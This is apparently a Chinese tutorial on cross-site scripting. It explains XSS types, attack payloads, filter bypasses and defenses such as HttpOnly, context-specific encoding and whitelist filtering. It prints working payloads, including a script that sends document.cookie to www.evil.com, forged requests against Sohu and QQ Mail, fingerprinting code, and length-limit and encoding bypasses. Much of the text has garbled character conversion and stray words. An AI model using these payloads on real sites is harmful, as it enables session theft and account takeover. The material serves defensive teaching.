同源策略
影响源的因素:host,子域名,端口,协议
a.com经过如下代码:javascript
<script scr=http://b.com/b.js>php
加载了b.com上的b.js,可是b.js是运行在a.com页面中的,所以相对于当前打开的页面(a.com)来讲,b.js的源就应该是a.com而非b.com
不一样于XMLHttpRequest的是,经过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
XMLHttpRequest不能跨域访问资源。可是有跨域请求的需求,所以W3C指定了XMLHttpRequest的跨域访问标准。它须要经过目标域返回的Http头来受权是否容许跨域访问,所以HTTP头对于JavaScript来讲通常是没法控制的,因此认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任“Javascript没法控制该HTTP头”,若是此信任基础被打破,则此方案也就再也不安全。css
浏览器沙箱
每一个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。html
恶意网址拦截
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类:
一、挂马网站,一般包含恶意的Javascript或Flash,经过利用浏览器的漏洞,执行shellcode,在电脑中植入木马
二、钓鱼网站:模仿知名网站的类似页面前端
高速发展的浏览器安全java
Cross Site Script,由于和CSS重名,因此更名XSSweb
一般指黑客经过“HTML注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,因此叫“跨站脚本”。可是发展到今天,因为Javascript的强大功能以及网站前端应用的复杂化,是否跨域已经再也不重要。可是因为历史缘由,这个名字保留了下来。
假设一个页面把用户输入的参数输出到页面上:ajax
1 <?php 2 $input=$_GET["param"]; 3 echo "<div>".$input."</div>"; 4 ?>
若是提交一段HTML代码:chrome
会发现alert(/xss/)被执行了。
XSS分为如下几类:
1)反射型XSS: 就如上面的例子,也就是黑客须要诱使用户点击连接。也叫做”非持久型XSS“(Non-persistent XSS)
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具备很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,全部访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,因此中XSS攻击就叫作”存储型XSS”。
3)DOM based XSS:也是一种反射型XSS,因为历史缘由被单独列出来了。经过修改页面的DOM节点造成的XSS,称之为DOM Based XSS。
看以下代码:
1 <script> 2 function test(){ 3 var str=document.getElementById("text").value; 4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 5 } 6 </script> 7 <div id="t"></div> 8 <input type="text" id="text" value="" /> 9 <input type="button" id="s" value="write" onlick="test()" />
这段代码的做用就是点击write按钮后在当前页面插入一个连接。
构造以下数据:
’ onclick=alert(/xss/) //
输入后,页面代码就成了
首先用一个单引号闭合掉href
的第一个单引号,而后插入一个onclick
事件,最后再用注释符//
注释掉第二个单引号。
实际上,这里还有另一种利用方式—除了构造一个新事件外,还能够选择闭合掉<a>
标签,并插入一个新的HTML标签。尝试以下输入:
'><img scr=# onerror=alert(/xss2/) /><'
页面代码编程
<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.
初探XSS Payload
XSS Payload就是JavaScript脚本(还能够是Flash或其余富客户端的脚本),因此任何Javascript脚本能作到的事情,XSS Payload都能作到。
一个最多见的XSS Payload就是读取浏览器的Cookie对象,从而发起”Cookie劫持”攻击。
Cookie中通常加密保存了当前用户的登陆凭证。Cookie若是丢失,每每意味着用户的登陆凭证丢失。换句话说,攻击者能够不用经过密码,而直接登陆进用户的帐户。
以下所示,攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload如今这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,能够经过以下代码窃取Cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象做为参数发送到远程服务器。
事实上,http://www.evil.com/log 并不必定要存在,由于这个请求会在远程服务器的Web日志中留下记录 。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客能够用这个Cookie直接登陆。
防止:Cookie的“HttpOnly”标识能够防止”Cookie劫持”,咱们将在稍后的章节中在具体介绍。
强大的XSS Payload
构造Get与Post请求:例如在Sohu上有一篇文章, 想经过XSS删除它,该如何作呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么经过JavaScript,这个过程以下:
正常删除该文章的连接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来讲,只须要直到文章的id,就可以经过这个请求删除这篇文章了。
攻击者能够经过插入一张图片来发起一个get请求:
var img=document.createElement("img"); img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"; document.body.appendChild(img);
攻击者只须要让博客的做者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将经过XSS诱使用户执行XSS Payload。
再看一个复杂点的例子。若是网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?
下例是Douban的一处表单。攻击者将经过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。
1 var f=document.createElement("form"); 2 f.action=""; 3 f.method="post"; 4 document.body.appendChild(f); 5 var i1=document.createElement("input"); 6 i1.name=" ck"; 7 i1.value=" JiuY"; 8 f.appendChild(i1); 9 var i2=document.createElement("input"); 10 i2.name=" mb_text"; 11 i2.value="testtestseset"; 12 f.appendChild(i2); 13 f.submit();
若是表单参数不少的话,经过构造DOM的方式,代码将会很冗长。因此能够直接写HTML代码:
var dd=document.createElement("div"); document.body.appendChild(dd); dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" name="ck" value="JiuY" />'+ '<input type="hidden" name="mb_text" value="testetst" />' + '</form>' document.getElementById("xssform").submit();
第二种方法是,经过XMLHttpRequest发送一个POST请求:
1 var url = "http://www.douban.com"; 2 var postStr = "ck=JiuY&mb_text=test1234"; 3 var ajax = null; 4 if (window.XMLHttpRequest) { 5 ajax = new XMLHttpRequest(); 6 } else if (window.ActiveXObject) { 7 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 8 } else { 9 return; 10 } 11 ajax.open("POST", url, true); 12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 13 ajax.send(postStr); 14 ajax.onreadystatechange = function() { 15 if (ajax.readyState == 4 && ajax.status == 200) { 16 alert("Done"); 17 } 18 }
经过这个例子能够看出,使用Javascript模拟提交表单并非一件困难的事情.
下面的例子将演示如何经过XSS Payload读取QMail用户的邮件文件夹:
首先看看正常的请求是如何获取到全部的邮件列表的。登陆邮箱后,点击“收件箱”后。抓包发现浏览器发出了以下请求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
通过分析,真正能访问到邮件列表的连接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
这里有一个没法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
因此XSS Payload的思路是先获取到sid的值,而后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能获得邮件列表了。XSS Payload以下:
1 if (top.window.location.href.indexOf("sid=") > 0) { 2 var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24); 3 } 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid; 5 var ajax = null; 6 if (window.XMLHttpRequest) { 7 ajax = new XMLHttpRequest(); 8 } else if (window.ActiveXObject) { 9 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 10 } else { 11 return; 12 } 13 ajax.open("GET", folder_url, true); 14 ajax.send(null); 15 ajax.onreadystatechange = function() { 16 if (ajax.readyState == 4 && ajax.status == 200) { 17 alert(ajax.responseText); 18 //document.write(ajax.responseText); 19 } 20 }
邮件列表的内容成功被XSS Payload获取到。
钓鱼:
XSS并不是万能。前面的例子都是Javascript脚本,缺乏”与用户的交互”,碰到验证码,和修改密码时须要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload能够读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者能够在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload
从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者能够将XSS与”钓鱼”结合。
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登陆框,当用户在登陆框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
识别用户浏览器:
navigator.userAgent
可是userAgent是能够伪造的。这个信息不必定准确。
因为浏览器之间的实现存在差别,利用这种差别分辨浏览器几乎不会错误。
参考:
1 if (window.ActiveObject) { 2 //MSIE 6.0 or below 3 //判断是否IE 7以上 4 if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") { 5 if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8 6 //MSIE 8.0 7 } 8 //MSIE 7.0 9 } 10 return "msie"; //MSIE6.0 11 } else if { 12 typeof window.opera != "undefined") { //Opera独占 13 return "opera"; 14 } else if (typeof window.netscape != "undefined") { //Mozilla独占 15 if (typeof window.Iterator != "undefined") { 16 //Firefox 2.0以上支持这个对象 17 if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9 18 //Firefox 3 19 } 20 //Firefox 2.0 21 } 22 return "mozilla"; 23 } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari 24 try { 25 if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome 26 return "Chrome"; 27 } 28 } catch(e) { 29 return "safari"; 30 } 31 } else { //unknown 32 return "unknown"; 33 }
识别用户安装的软件:
在IE中,能够经过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客经过判断用户安装的软件,选择对应的浏览器漏洞,最终达到
入木马的目的。
看以下代码:
try { var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper'); } catch (e){ //异常了,不存在该控件 }
经过收集常见软件的classid,就能够扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。好比Flash有一个system.capabilities对象,可以查询客户端电脑中的硬件信息。
在XSS Payload中,能够在Flash的ActionScript中读取system.capabilities对象后,将结果经过ExternalInterface传给页面的javascript。
浏览器的扩展和插件也能被XSS Payload扫描出来。好比对于Firefox的插件和扩展,有着不一样的检测方法。
Firefox的插件(Plugins)列表存放在一个DOM对象中,经过查询DOM能够遍历出全部的插件:
因此直接查询”navigator.plugins”对象,就能找到全部的插件了。例如 navigator.plugins[0]
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:经过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标能够经过这个协议被访问到。好比Flash Got扩展的图标,能够这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,若是加载成功,则扩展存在;反之,扩展就不存在
1 var m = new Image(); 2 m.onload = function() { 3 alert(1); //图片存在 4 }; 5 m.onerror = function() { 6 alert(2); //图片不存在 7 }; 8 m.src = "chrome://flashgot/skin/icon32.png"; //链接图片
CSS History Hack:
咱们再看看另一个有趣的XSS Payload—经过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited桑性—若是用户曾经访问过某个连接,那么这个连接的颜色会变的不同凡响。
1 < script > 2 var websites = [...要检测的访问过的网址列表,可能有几千个...]; 3 //遍历每一个URL 4 for (var i = 0; i < websites.length: i++) { 5 var link = document.createElement("a"); 6 link.id = "id" + i; 7 link.href = websites[i]; 8 link.innerHTML = websites[i]; 9 document.write('<style>'); 10 document.write('#id' + i + ":visited {color:#FF0000;}"); 11 document.write('</style>'); 12 document.body.appendChild(link); 13 var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); 14 document.body.removeChild(link); 15 if (color == "rgb(255,0,0)") { //visited 16 var item = document.createElement('li'); 17 item.appendChild(link); 18 document.getElementById('visited').appendChild(item); 19 } else { //Not visited 20 var item = document.createElement('li'); 21 item.appendChild(link); 22 document.getElementById('notvisited').appendChild(item); 23 } 24 } < /script>/
可是Firefox已经决定修补这个问题
获取用户的真实IP地址:
不少时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript自己并无获取本地IP地址的能力。通常须要第三方软件来完成。好比,客户端安装了Java环境(JRE),那么XSS就能够经过调用Java Applet的接口获取客户端的本地IP地址。
在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:
1 AttackAPI.dom.getInternalIP = function() { 2 try { 3 var sock = new java.net.Socket(); 4 sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); 5 sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port)); 6 return sock.getLocalAddress().getHostAddress(); 7 } catch(e) {} 8 return '127.0.0.1'; 9 };
此外,还有两个利用Java获取本地网络信息的API:
XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。
Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了不少可以直接使用的XSS Payload,概括为API的方式。
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。
XSS-Proxy:是一个轻量级的XSS攻击平台,经过嵌套iFrame的方式能够实时地远程控制被XS攻击的浏览器。
这些XSS攻击平台有助于深刻理解XSS的原理和危害。
Samy Worm:
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。
MySpace过滤了不少危险的HTML标签,只保留了<a>
标签、<img>
标签、<div>
标签等”安全的标签”.并过滤了全部的事件,例如”onclick”。可是MySpace却容许用户控制标签的Style属性,通
style,仍是有办法构造出XSS的。好比:
<div style="background:url('javascript:alert(1)')">
其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,因此Samy用了“拆分法”绕过这些限制。
最后Samy经过Ajax构造的Post请求,完成了在用户的heros列表里添加本身名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。
具体代码太长。。。
可是发起XSS Worm攻击是有必定的条件的:
通常来讲,用户之间发生交互行为的页面,若是存在存储性XSS,则比较容易发起XSS Worm攻击。
好比发送站内信、用户留言等页面,都是XSS Worm的高发区,须要重点关注。而相对的,若是一个页面只能由用户我的查看,好比”用户我的资料设置”页面,由于缺少用户之间互动的功能
因此即便存在XSS,也不能被用于XSS Worm的传播。
百度空间蠕虫:
调试Javascript:
要想写好XSS Payload,须要有很好的Javascript功底,调试javascript是必不可少的技能。
Firebug …
利用字符编码:
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号: var redirectUrl="\";alert(/xss/);";
通常来讲,这里是没有XSS漏洞的,由于变量处于双引号以内,系统转义了双引号致使变量没法escape。
可是百度的返回页面是GBK/GB2312编码的,所以”%c1\”这两个字符组合在一块儿后,会成为一个Unicode字符。在Firefox下会认为这是一个字符,因此构造: %c1";alert(/xss/);//
并提交: var rediretUrl="?";alert(2);//";
这两个字节:"%c1\"
组成了一个新的Unicode字符,%c1
把转义符"\"
给”吃掉了”,从而绕过了系统的安全检查,成功地实施了XSS攻击。
绕过长度限制:
不少时候,产生XSS的地方会有变量的长度限制,这个限制多是服务器端逻辑形成的。
假设下面代码存在一个XSS漏洞: <input type=text value="$var" />
服务器端对输出变量$var作了严格的长度限制,那么攻击者可能会这样构造XSS: $var
为 "><script>alert(/xss/)</script>
但愿达到的输出效果是: <input type=text value=""><script>alert(/xss/)</script>" />
假设长度限制为20个字节,则这段XSS会被切割为: $var
输出为: "><script>alert(/xss
连一个完整的函数都没法写完。
攻击者能够利用时间(Event)来缩短所须要的字节数: $var
输出为"onclick=alert(1)//
加上空格符,恰好够20个字节
但利用“事件”可以缩短的字节数是有限的。最好的办法是先把XSS Payload写在别处,再经过简短的代码加载这段XSS Payload。
最经常使用的一个“藏代码”的地方,就是“location.hash”。并且根据HTTP协议,location.hash的内容不会在HTTP包中发送,因此服务器端的Web日志中并不会记录下location.hash里的内容,从而
更好地隐藏了黑客真实的意图。 $var
输出为onclick="eval(location.hash.substr(1))"
总共40个字节。输出后的HTML是: <input type=text value="" onclick="eval(location.hash.substr(1)) " />
由于location.hash的第一个字符是#,因此必须去除第一个字符才行。此时构造出的XSS URL为:
http://www.a.com/test.html#alert(1)
用户点击文本框时,location.hash里的代码就执行了.
location.hash自己没有长度限制,可是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还能够再使用加载远程JS的方法,来
更多的代码。
在某些环境下,能够利用注释符绕过长度限制。
好比咱们能控制两个文本框,第二个文本框容许写入更多的字节。此时能够利用HTML的”注释符号“,把两个文本框之间的HTML代码全注释掉,从而”打通“两个<input>
标签。
<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />
在第一个input框中,输入:"><!--
在第二个input框中,输入:--><script>alert(/xss/);</script>
最终的效果是:
<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />
中间的代码前部被<!-- -->
注释掉了。
使用<base>
标签: <base>
标签是定义全部使用”相对路径”标签的hosting地址
例如:
<body> <base href="http://www/google.com" /> <img scr="/int1/...png" /> </body>
须要注意的是<base>
标签能够出如今页面的任何地方,并做用于该标签以后的全部标签。
攻击者若是在页面中插入了<base>
标签,就能够经过在远程服务器上伪造图片、连接或脚本,劫持当前页面中的全部使用”相对路径“的标签。好比:
<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>
因此在设计XSS安全方案时,必定要过滤掉这个很是危险的标签。
window.name的妙用:
window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。由于window对象是浏览器的窗体,而并不是document对象,所以不少时候window对象不受同
策略的限制。攻击者利用这个对象,能够实现跨域、跨页面传递数据。在某些环境下,这种特性将变得很是有用。
参考如下案例:
www.a.com/test.html的代码为:
<body> <script> window.name="test"; alert(document.domain+" "+window.name); window.location="http://www.b.com/test1.html"; </script> </body>
这段代码将window.name赋值为test,而后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。
www.b.com/test1.html的代码为:
<body> <script> alert(document.domain+" "+window.name); </script> </body>
这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com
使用window.name能够缩短XSS Payload的长度,以下所示:
<script> window.name="alert(document.cookie)"; location.href="http://www.xssedsite.com/xssed.php"; </script>
在统一窗口打开XSS的站点后,只需经过XSS执行如下代码便可:
eval(name);
只有11个字节,短到了极点。
这个技巧为安全研究者luoluo发现,同时他还整理了不少绕过XSS长度限制的技巧。
变废为宝:Mission Impossible
从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只可以攻击本身,属于”鸡肋”漏洞。但随着时间的推移,数个曾经被认为是没法利用的
洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的回旋镖:
容易被忽视的角落:Flash XSS
前面降到的XSS攻击都是基于HTML的,其实在Flash中一样也有可能形成XSS攻击。
在Flash中是能够嵌入ActionScript脚本的。一个最多见的Flash XSS能够这样写:
getURL(“javascript:alert(document.cookie)”)
ActionScript是一种很是强大和灵活的脚本,甚至可使用它来发起网络链接,所以应该尽量地阻止用户可以上传和加载自定义的Flash文件。
因为Flash文件如此危险,因此在实现XSS Filter时,通常都会禁用、等标签。后者甚至能够加载ActiveX控件,产生更为严重的后果。
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。
Flash XSS每每被忽视,由于其问题出如今编译后的Flash文件中。
真的高枕无忧吗?Javascript开发框架
jQuery自己出现的漏洞较少,可是开发者的意识才是安全编码的关键。
例如$(‘div.demo-container’).html(“”);
若是用户可控制输入,那么XSS产生是必然的。
浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。由于Javascript获取不到Cookie的值。
C#中设置HttpOnly的方法:
HttpCookie myCookie=new HttpCookie(“myCookie”);
myCookie.HttpOnly=true;
Response.AppendCookie(myCookie);
常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符多是正经常使用户不会用到的,因此输入检查就有存在的必要了。
例如,用户名可能会被要求只能为字母、数字的组合。
输入检查的逻辑应该放在服务器端,不然很容易被绕过。目前的广泛作法是在客户端和服务器端都执行检查。
在XSS的防护上,输入检查通常是检查用户输入的数据中是否包含一些特殊字符,如< > ’ “等。若是发现,则将这些字符过滤掉或编码。
比较智能的还会检查<script> javascript等敏感字符,网上有不少XSS Filter资源。但由于XSS Filter对语境不了解,有时不能检查出XSS攻击。
通常来讲,除了富文本的输出外,在变量输出到HTML页面时,可使用编码或者转移的方式来防护XSS攻击。
安全的编码函数:
针对HTML代码的编码方式是HtmlEncode。
HtmlEncode并不是专用名词,它只是一种函数体现。它的做用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
对了对抗XSS,在HtmlEncode中至少要转换如下字符: & => & < =>< > " ' /
相应地,Javascript的编码方式可使用JavascriptEncode。
JavascriptEncode与HtmlEncode的编码方法不一样,他须要使用\对特殊字符进行转义。在对抗CSS时,还要求输出的变量必须在引号内部,以免形成安全问题。比较下面两种写法: var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
若是escapeJavascript函数只转义了几个危险字符,好比’ ” < > \ & #等,那么上面的两行代码输出后可能变成: var x=1;alert(2);
var y="1;alert(2)";
因此要求使用JavascriptEncode的变量输出必定要在引号内。
可视不少开发者没有这个习惯怎么办?这将只能使用一个更加严格的JavascriptEncode函数–除了数字、字母外的全部字符,都使用十六进制”\xHH”的方式进行编码。在本例中: var x=1;alert(2);
变成了: var x=1\x3balert\x282\x29;
如此代码能够保证是安全的。
只需一种编码吗?
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞能够在模版系统中解决。
不是使用了auto-escape就万事大吉了,XSS的防护须要区分状况对待。
XSS的本质仍是一种”HTML注入”。
想要根治XSS,能够列出全部XSS可能发生的场景,在一一解决。
在HTML标签中输出:如
<div>$var</div>
<a href=# >$var</a>
这样能够构造出:
<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>
防护方法是对变量使用HtmlEncode。
在HTML属性中输出:如
<div id="abc" name="$var" ></div>
能够构造出:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防护方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外,其余全部的字符都被编码成HTMLEntities。 String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
这种严格的编码方式,能够保证不会出现任何安全问题。
在<script>标签中输出:如
<script>
var x="$var";
</script>
能够构造出:
<script>
var x="";alert(/xss/);//";
</script>
防护时也是使用JavascriptEncode
在事件中输出:如 <a href=# onclick="funcA('$var')" >test</a>
能够构造出: <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
在防护时须要使用JavascriptEncode
在CSS中输出:
在CSS和style、style attribute中造成的XSS的方式很是多样化,参考下面几个XSS的例子。
<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
因此通常来讲,尽量地禁止用户可控制的变量在”<style>
标签”、”HTML标签的style属性”以及”CSS文件”中输出。若是必定有这样的需求,推荐使用OWASP ESAPI中的encodeForCSS()
数。相似于ESAPI.encoder().encodeForJavaScript()函数。
在地址中输出:
在地址中输出也较为复杂。通常来讲,在URL的path(路径)或者search(参数)中输出,使用URLEncode便可。
例如: <a href="http://www.evil.com/?test=$var" >test</a>
可能的攻击办法: <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
通过URLEncode后就能够防护。
可是还有一种状况,就是整个URL都可以被用户彻底控制。这时URL的协议和Host部分是不可以使用URLEncode的,不然会改变URL的语义。
一个URL的组成以下: [Protocol][host][Path][search][Hash]
如 http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
在Protocol和host中,若是使用严格的URLEncode函数,则会把”://
“、”.
“等都编码掉。
对于以下的输出方式: <a href="http://cracer.com/blog/$var" >test</a>
攻击者可能会构造: <a href="javascript:alert(1);">test</a>
除了“JavaScript做为伪协议能够执行代码外,还有VBScript、dataURI等伪协议可能致使脚本执行。
因而可知,若是用户可以彻底控制URL,则能够执行脚本的方式有不少,如何解决这种状况呢?
通常来讲,若是变量是整个URl,则应该首先检查变量是不是以Http开头,若是不是则自动添加,以保证不会出现伪协议类的XSS攻击。
在此以后再对变量进行URLEncode,便可保证不会有此类的XSS发生了。
OWASP ESAPI中有一个URLEncode的实现:
ESAPI.encoder().encodeForURL
有些时候,网站须要容许用户提交一些自定义的HTML代码,称之为”富文本”。好比,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都须要经过HTM
代码来实现。
如何区分安全的“富文本”和有攻击性的XSS呢?
在处理富文本时,仍是要回到”输入检查”的思路上来。”输入检查“的主要功能是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不
拼凑到某个标签的属性中。所以能够特殊状况特殊处理。
在上一节中,列出了全部在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“,也应该可以找出HTML代码中全部可能执行脚本的地方。
HTML是一种结构化的语言,比较好分析。经过htmlparser能够解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,”事件“应该被严格禁止,由于”富文本“的展现需求里不该该包括”事件“这种动态效果。而一些危险的标签,好比<iframe>、<script>、<base>、<form>
等,也是应该严格禁
的。
在标签的选择上,应该使用白名单,避免使用黑名单。好比,只容许<a>、<img>、<div>
等比较”安全“的标签存在。
”白名单“原则不只仅用于标签的选择,一样应该用于属性与事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事情。若是容许用户自定义的CSS、style,则也可能致使XSS攻击。所以尽量地禁止用户自定义CSS与Style。
若是必定要容许用户自定义样式,则只能像过滤”富文本“同样过滤”CSS“。这须要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些比较成熟的开源项目,实现了对富文本的XSS检查。
Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。最先它是基于Java的,如今已经扩展到.NET等语言。
DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防护方法都不太适用,须要特别对待。
DOM Based XSS是如何造成的呢?回头看看这个例子:
<script> function test(){ var str=document.getElementById("text").value; document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" oncick="test()" />
在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是: document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
将HTML代码写入了DOM节点,最后致使了XSS的发生。
事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对”从服务器应用直接输出到HTML页面”的XSS漏洞,所以并不适用于DOM Based XSS。
看看下面这个例子:
<script> var x="$var"; document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>"); </script>
变量$var
输出在<script>
标签内,但是最后又被document.write输出到HTML页面中。
假设为了保护$var
直接在<script>
标签内产生XSS,服务器端对齐进行了JavascriptEscape。但是$var在document.write时,仍然可以产生XSS,以下所示:
<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>
页面渲染以后的实际结果以下:
XSS攻击成功。
其缘由在于,第一次执行JavascriptEscape后,只保护了: var x="$var";
可是当document.write输出数据到HTML页面时,浏览器从新渲染了页面。在<script>标签执行时,已经对变量x进行了解码,其后document.write再运行时,其参数就变成了: <a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a>
XSS所以而产生。
若是改为HtmlEncode也是如此。
正确的防护方法是什么呢?
首先,在$var
输出到<script>
时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体状况看待:若是是输出到事件或者脚本,则要再作一
javascriptEncode;若是是输出到HTML内容或者属性,则要作一次HtmlEncode。
也就是说,从JavaScript输出到HTML页面,也至关于一次XSS输出的过程,须要分语境使用不一样的编码函数。
会触发DOM Based XSS的地方不少,如下几个地方是JavaScript输出到HTML页面的必经之路。
a) document.write() document.writeln()
b) xxx.innerHTML= xxx.outerHTML=
c) innerHTML.replace
d) document.attachEvent() window.attachEvent()
e) document.location.replace() document.location.assign()
…
除了服务器端直接输出变量到Javascript以外,还有如下几个地方可能会成为DOM Based XSS的输入点,也须要重点关注。
a) 页面中全部的inputs框
b) window.location(href、hash等)
c) window.name
d) document.referrer
e) document.cookie
f) localstorage
g) XMLHttpRequest返回的数据
从业务角度看XSS风险,用户之间有互动的页面的风险确定比没有互动的页面的风险高。应重点修补风险高的页面。
理论上,XSS漏洞虽然复杂,但倒是能够完全解决的。在设计XSS解决方案时,应该深刻理解XSS攻击的原理,针对不一样的场景使用不一样的方法。同时有不少开源项目为咱们提供了参考。